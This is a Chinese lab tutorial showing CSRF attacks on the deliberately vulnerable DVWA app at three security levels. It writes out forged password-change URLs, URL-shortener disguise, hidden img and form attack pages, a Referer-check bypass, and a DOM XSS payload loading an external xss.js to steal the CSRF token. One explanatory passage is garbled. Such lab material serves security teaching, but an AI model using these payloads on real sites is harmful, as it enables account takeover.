DVWA-CSRF全级别教程

CSRF

Low等级

查看源码

在这里插入图片描述

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

构造链接

http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang&password_conf=zuowenyang&Change=Change#
当受害者点击了这个链接,他的密码就会被改成zuowenyang
在这里插入图片描述

测试

在这里插入图片描述在这里插入图片描述

使用短链接来隐藏URL

构造短链接

http://suo.im/
http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang2&password_conf=zuowenyang2&Change=Change#

在这里插入图片描述在这里插入图片描述

新打开一个网址标签,输入短网址http://suo.im/6ahf6H进行攻击
在这里插入图片描述
在这里插入图片描述

测试

在这里插入图片描述在这里插入图片描述

构造攻击页面

方法一:图片形式诱导

通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接: 192.168.0.103/test.html
误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为zuowenyang3。
在这里插入图片描述
在这里插入图片描述

测试
在这里插入图片描述在这里插入图片描述

方法二:隐藏表单的形式

查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改

在这里插入图片描述在这里插入图片描述

新打开一个网址标签,输入网址: 192.168.0.103 /dvwa.html,进行攻击

在这里插入图片描述在这里插入图片描述

测试

在这里插入图片描述
在这里插入图片描述

Medium等级

查看源码

在这里插入图片描述

stripos()函数:
stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量 S E R V E R 中 的 两 个 值 : 1. _SERVER中的两个值: 1. SERVER1._SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
2. S E R V E R [ ′ S E R V E R N A M E ′ ] : P H P 中 获 取 服 务 器 主 机 的 名 称 , 即 H T T P 数 据 包 中 的 H o s t 参 数 的 值 。 用 户 正 常 登 录 使 用 修 改 密 码 操 作 时 , 可 以 看 到 : M e d i u m S e c u r i t y L e v e l 的 代 码 使 用 s t r i p o s ( ) 函 数 检 查 H T T P 头 , 过 滤 规 则 是 _SERVER['SERVER_NAME']:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。 用户正常登录使用修改密码操作时,可以看到:Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是 SERVER[SERVERNAME]PHPHTTPHost使MediumSecurityLevel使stripos()HTTP_SERVER[‘HTTP_REFERER’]的值中必须包含$_SERVER[‘SERVER_NAME’],以此来抵御CSRF攻击。

将Low Security Leve构造攻击页面方法1中的攻击页面test.html复制一份,命名为 192.168.0.5.html, 并修改部分代码,后放到phpstudy的www目录中。

在这里插入图片描述在这里插入图片描述

受害者点击192.168.0.103/192.168.0.103.html
在这里插入图片描述在这里插入图片描述

测试

在这里插入图片描述在这里插入图片描述

High等级

查看源码

在这里插入图片描述

利用受害者的cookie去修改密码的页面获取关键的token xss.js放置于攻击者的网站上。
在这里插入图片描述

DOM XSS 与 CSRF 结合攻击
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用链接来让受害者访问诱导点击后,成功将密码修改为zuowenyang6。

DOM xss测试

用以下链接来让受害者访问:
http://192.168.0.103/vulnerabilities/xss_d/?default=English#

在这里插入图片描述在这里插入图片描述

CSRF测试

新开一个页面,登陆DVWA,将安全级别设置到:“high”,并选择 CRSF(XSS(DOM)页面不能关闭)
在这里插入图片描述

通过XSS(DOM)进行CSRF攻击
在XSS(DOM)界面,进行CSRF攻击测试。

http://192.168.0.103/vulnerabilities/xss_d/?default=English#<script%20src=“http://192.168.0.103/xss.js”>
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

测试
在这里插入图片描述
在这里插入图片描述

  • 5
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Web Security Loop

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值